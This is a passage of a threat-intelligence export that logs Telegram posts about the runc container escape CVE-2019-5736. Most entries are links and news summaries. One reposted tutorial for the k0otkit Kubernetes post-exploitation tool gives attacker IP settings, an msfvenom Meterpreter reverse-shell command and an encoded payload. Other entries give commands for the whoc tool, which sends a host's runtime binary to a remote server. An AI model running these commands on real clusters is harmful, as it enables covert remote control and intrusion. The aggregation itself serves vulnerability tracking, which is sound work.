"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/reverseame/3105", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-07-29T12:02:34.134207Z"}, {"uuid": "1393c403-8a8e-4653-9dc4-c82022ebf70c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/cisoclub/4355", "content": "\u0412\u044b\u0431\u043e\u0440 \u0421\u0417\u0418 \u0434\u043b\u044f \ud83d\udd12\u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \ud83d\udce6\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432\n\n\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u0434\u0430\u0432\u043d\u043e \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0433\u0440\u0443\u0448\u043a\u043e\u0439 DevOps-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u043e\u0442 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c \u0434\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 \u0410\u0421\u0423 \u0422\u041f. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u0440\u043e\u0441\u0442\u043e\u043c \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\u0441\u044f \u0438 \u00ab\u043f\u043b\u043e\u0449\u0430\u0434\u044c \u0430\u0442\u0430\u043a\u0438\u00bb. \n\n\u0422\u0430\u043a, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0441\u0432\u044b\u0448\u0435 30 % \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u0432 Docker Hub \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 CVE, \u043f\u0440\u0438\u0447\u0451\u043c \u0440\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u043e \u00ab\u0437\u0430\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445\u00bb \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043d\u043e\u0433\u0438\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \n\n\u0412 runtime-\u0441\u0440\u0435\u0434\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0435 \u043b\u0443\u0447\u0448\u0435: \u0437\u043d\u0430\u043c\u0435\u043d\u0438\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-5736 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0432\u044b\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0418 \u0435\u0441\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0438\u0441\u0448\u0435\u0441\u0442\u0432\u0438\u044f \u0440\u0435\u0434\u043a\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043b\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438, \u0442\u043e \u0432 2024 \u0433. \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0443\u0436\u0435 \u0432 52 % \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u044e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u043e\u0436\u043d\u043e \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-07-29T12:03:04.408927Z"}, {"uuid": "bccb1bd5-c4a2-4835-a672-c5785f301bc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/oleg_log/1433", "content": "\u0415\u0441\u043b\u0438 \u0442\u044b \u043d\u0435 \u0438\u0434\u0435\u0448\u044c \u043a \u0433\u0443\u0433\u043b\u0443, \u0433\u0443\u0433\u043b(\u0412\u0430\u0434\u0438\u043c) \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u0435\u0431\u0435:\n\n> Subject: CVE-2019-5736: runc container breakout \nexploit code\nhttps://www.openwall.com/lists/oss-security/2019/02/13/3\n\n\u0421\u043f\u0430\u0441\u0438\u0431\u043e, \u0433\u0443\u0433\u043b-\u0412\u0430\u0434\u0438\u043c \ud83d\ude4c", "creation_timestamp": "2026-07-30T00:02:05.118522Z"}, {"uuid": "b8dc1f3d-8cb1-4eb8-b12e-f42cbfa23a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/sysadmin_tools/785", "content": "\u0412 runc, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2019-5736), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0438\u0437 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b runc \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0445\u043e\u0441\u0442-\u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 runtime runc, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Docker, cri-o, containerd, Kubernetes, Podman \u0438 flatpak. \u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 LXC \u0438 Apache Mesos.\n\n http://bit.ly/2UWPPgH", "creation_timestamp": "2026-07-30T00:02:05.653360Z"}, {"uuid": "40b2be9b-f340-4bf5-ac0f-3475569e1003", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/reverseame/3351", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-07-30T00:02:30.206022Z"}, {"uuid": "c839d7a6-dd3a-4743-b7e4-50c1f3eb32cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/reverseame/3982", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-07-30T00:02:25.402231Z"}, {"uuid": "68a6239f-1675-462e-82fb-ba541e868d3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/reverseame/3105", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-07-30T00:02:32.090379Z"}, {"uuid": "0fde27b7-d0b6-441e-97f3-f643ac466803", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/61385", "content": "Kali Linux Tutorials\nK0Otkit : Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters\n\nk0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.\n\nWith k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).\n\nk0otkit is the combination of Kubernetes\u00a0and rootkit.\n\nPrerequisite:\n\nk0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).\n\nScenario:\n\n* After Web penetration, you get a shell of the target.\n* If necessary, you manage to escalate the privilege and make it.\n* You find the target environment is a container (Pod) in a Kubernetes cluster.\n* You manage to escape from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or other techniques).\n* You get a root shell of the master node and are able to instruct the cluster with kubectlon the master node as admin.\n* Now you want to control all the nodes in the cluster as quickly as possible. Here comes k0otkit!\n\nk0otkit is detailed in k0otkit: Hack K8s in a K8s Way. UsageMake sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectlcommand in k0otkit_template.shto use the token or certification.)\n\nMake sure you have installed Metasploit on your attacker host (msfvenom\u00a0and msfconsoleshould be available).\n\nDeploy k0otkit\n\nClone this repository:\n\ngit clone https://github.com/brant-ruan/k0otkit\ncd k0otkit/\nchmod +x ./*.sh\n\nReplace the attacker\u2019s IP and port in pre_exp.shwith your own IP and port:\n\nATTACKER_IP=192.168.1.107\nATTACKER_PORT=4444\n\nGenerate k0otkit\n\n./pre_exp.sh k0otkit.shwill be generated. Then run the reverse shell handler:\n\n./handle_multi_reverse_shell.sh\n\nOnce the handler is ready, copy the content of k0otkit.shand paste it into your shell on the master node of the target Kubernetes, then press to execute it.\n\nWait a moment and enjoy reverse shells from all nodes https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png \n\nP.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.\n\nInteract with Shells\n\nAfter the successful deployment of k0otkit, you can interact with any reverse shell as you want: Features* utilize K8s resources and features (hack K8s in a K8s way)\n* dynamic container injection\n* communication encryption (thanks to Meterpreter)\n* fileless ExampleGenerate k0otkit:\n\nkali@kali:~/k0otkit$ ./pre_exp.sh\n\n* ATTACKER_IP=192.168.1.107\n* ATTACKER_PORT=4444\n* TEMP_MRT=mrt\n* msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt\n++ xxd -p mrt\n++ tr -d \u2018\\n\u2019\n++ base64 -w 0\n* PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw\n* sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTA[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:34.603059Z"}, {"uuid": "cf6d42d9-51d7-420a-980b-cc1ba395f6c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/39302", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape\u00a0\u2013 whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?\n\nAs shown by runc\u00a0CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n* The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n* Once the image is run, the container runtime re-executes itself inside the container.\n* Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n* upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjocHBrqL-1DeWdgr84G9KTBwDuhOUH7iRkxmcMXWsXQnjtpQlcRlxf25x_Xv96NyR2T3Bd9jzEQBjtNFLfqZKx1FwIjPPzTasqAwRcH0_J60IuHDX9nGeMR_v9yUdB7BghvzW5znr5b3PjSrDk-KZ9DEuFMWend1XtmXY4oyh11Mfgtoc-YgLbHCYN=s571 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n* upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n* The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n* Once the exec occurs, the container runtime re-executes itself inside the container.\n* upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjYUPEISvlrTOOIHWJ2ekop9nHLKToBwpf54UfVgSVe-QYm7Fj6wmq1Ms7EqHTr0Ii86_41fgPuwX59E2lcVgVUXUVo2PbVwAPFS4oy-mts1mfmuUURo3c8VgHmgmW2ijLhyoVkkwH0Z3AEREI_zx5YKSeTWNUytVlP7xmSLU7pie5C8gNV3pxFZr92=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n\n$ git clone git@github.com:twistlock/whoc.git\n\nSet up a file server to receive the extracted container runtime:\n\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver\n$ ./fileserver\n\nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh\n$ docker run \u2013rm -it \u2013net=host whoc:latest 127.0.0.1 # or ./util/run_local.sh\n\nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be\u00a0runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. Other Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:59.097659Z"}, {"uuid": "5f366947-8326-4bc5-bf06-7810de654c75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "Telegram/k_LdPlQ0Lpua_x0rxX3Mr1Nhbl11_A10HmJ_9WnhzssvdW0", "content": "", "creation_timestamp": "2026-09-02T01:00:08.896573Z"}, {"uuid": "e2089c92-4cdb-4377-96a7-9b4b2cbb9df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/34046", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\nHow does it work?\n\nAs shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it.\n\nDynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n1. The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n4. upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEhoOtXTTgwAILo7_iVmwKDHiYFqUbdTTAaLwtkxF_o1uEl7cVjxgpPyycB1hmrcJSoO90Y4AtQLloD-nlpUfcurdePCzt5E-Za6ZryJW_LfFnAViUjIOVrhRxo0ggi0HDzk8rx5xJ3puaZ94h7wElqjr0Ei2xDYrIVBlfjrUN-g425lpMXY4pY5DD3d=s728 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n1. upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n2. The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n3. Once the exec occurs, the container runtime re-executes itself inside the container.\n4. upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi3a_UpD_rXLfW9moPrDkZzlJOXXYrKnldu3IW_BpKgXSHTWzA2Efb8KtZx97cwQ8GasivuxnMs5vrYUYOgK8WE_FQ6ErQp_5t0Ykff-b2qMNl9Kzsn2j2dm3K2AoNGm_CS-EF4Q6NPJ5086YaoPXUJJtVZM9pLx43xRy04KhKoCiR92O8Y03DJUyFI=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n$ git clone git@github.com:twistlock/whoc.git \nSet up a file server to receive the extracted container runtime:\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver \n$ ./fileserver \nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\n$ docker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.sh \nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1.\n\nOther Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh.\n\nHelp\n\nHelp for whoc\u2018s main binary, upload_runtime:\nUsage: upload_runtime [options] ___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:07.587533Z"}, {"uuid": "02ec630c-c5d9-4954-ad00-e07b13a657f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/32537", "content": "Whoc - A Container Image That Extracts The Underlying Container Runtime\n\nA container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!WhoC at Defcon 29 Cloud VillageAzurescape - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty)How does it work?As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they're running through /proc/self/exe. whoc uses this link to read the container runtime executing it.Dynamic ModeThis is whoc default mode that works against dynamically linked container runtimes.The whoc image entrypoint is set to /proc/self/exe, and the image's dynamic linker (ld.so) is replaced with fake_ld.Once the image is run, the container runtime re-executes itself inside the container.Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.fake_ld obtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.upload_runtime reads the runtime binary from /proc/self/fd/ and sends it to the configured remote server.Wait-For-Exec ModeFor statically linked container runtimes, whoc comes in another flavor: whoc:waitforexec.upload_runtime is the image entrypoint, and runs as the whoc container PID 1.The user is expected to exec into the whoc container and invoke a file pointing to /proc/self/exe (e.g. docker exec whoc-ctr /proc/self/exe)Once the exec occurs, the container runtime re-executes itself inside the containerupload_runtime reads the runtime binary through /proc//exe and sends it to the configured remote serverTry LocallyYou'll need docker and python3 installed. Clone the repository:$ git clone git@github.com:twistlock/whoc.gitSet up a file server to receive the extracted container runtime:$ cd whoc$ mkdir -p stash && cd stash$ ln -s ../util/fileserver.py fileserver $ ./fileserverFrom another shell, run the whoc image in your container environment of choice, for example Docker:$ cd whoc$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh$ docker run --rm -it --net=host whoc:latest 127.0.0.1 # or ./util/run_local.shSee that the file server received the container runtime. Since we run whoc under vanilla Docker, the received container runtime should be runc.--net=host is only used in local tests so that the whoc container could easily reach the fileserver on the host via 127.0.0.1.HelpHelp for whoc's main binary, upload_runtime:Usage: upload_runtime options Options: -p, --port Port of remote server, defaults to 8080 -e, --exec Wait-for-exec mode for static container runtimes, waits until an exec to the container occurred -b, --exec-bin In exec mode, overrides the default binary created for the exec, default is /bin/enter -a, --exec-extra-argument In exec mode, pass an additional argument to the runtime so it won't exit quickly -r, --exec-readdir-proc In exec mode, instead of guessing the runtime pid (which gives whoc one shot of catching the runtime), find the runtime by searching for new processes under '/proc'Download Whoc\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:08.535661Z"}, {"uuid": "9584d8ca-2e31-4410-8bb2-e48949a83eee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/32544", "content": "A container (https://www.kitploit.com/search/label/Container) image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!WhoC at Defcon 29 Cloud Village (https://www.youtube.com/watch?v=DF0qoCsHKT4)Azurescape (https://unit42.paloaltonetworks.com/azure-container-instances/) - whoc-powered research, the first cross-account container takeover (https://www.kitploit.com/search/label/Takeover) in the public cloud (70,000$ bounty)\nHow does it work?\nAs shown by runc CVE-2019-5736 (https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/), traditional Linux container runtimes expose themselves to the containers (https://www.kitploit.com/search/label/Containers) they're running through /proc/self/exe. whoc uses this link to read the container runtime executing it.\nDynamic Mode\nThis is whoc default mode that works against dynamically linked container runtimes.The whoc image entrypoint is set to /proc/self/exe, and the image's dynamic (https://www.kitploit.com/search/label/Dynamic) linker (ld.so) is replaced with fake_ld.Once the image is run, the container runtime re-executes itself inside the container.Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.fake_ld obtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.upload_runtime reads the runtime binary from /proc/self/fd/ and sends it to the configured remote server.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:08.578607Z"}, {"uuid": "eae3b87c-3c14-4d15-bddd-f0a99ed5da97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/32550", "content": "KitPloit - PenTest Tools!\nWhoc - A Container Image That Extracts The Underlying Container Runtime\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi_95e_qg5fMsbP6treVFuqoow00IkE5tY4k2v5rsmgUjnDB1ca-bidnn2ZtSOCXuYiZ9cUbI7VZ04PibinnHx0rHSvAZbNVZKfc7BUJ814hdlYdazoGq5kcijHfXEySNffebbB1_wbu5wzuX_AmycCum_3VhhEtw1pRAS4lwLZumzqgUCJt0kHrev2Ew=w640-h360 A container image that extracts the underlying container 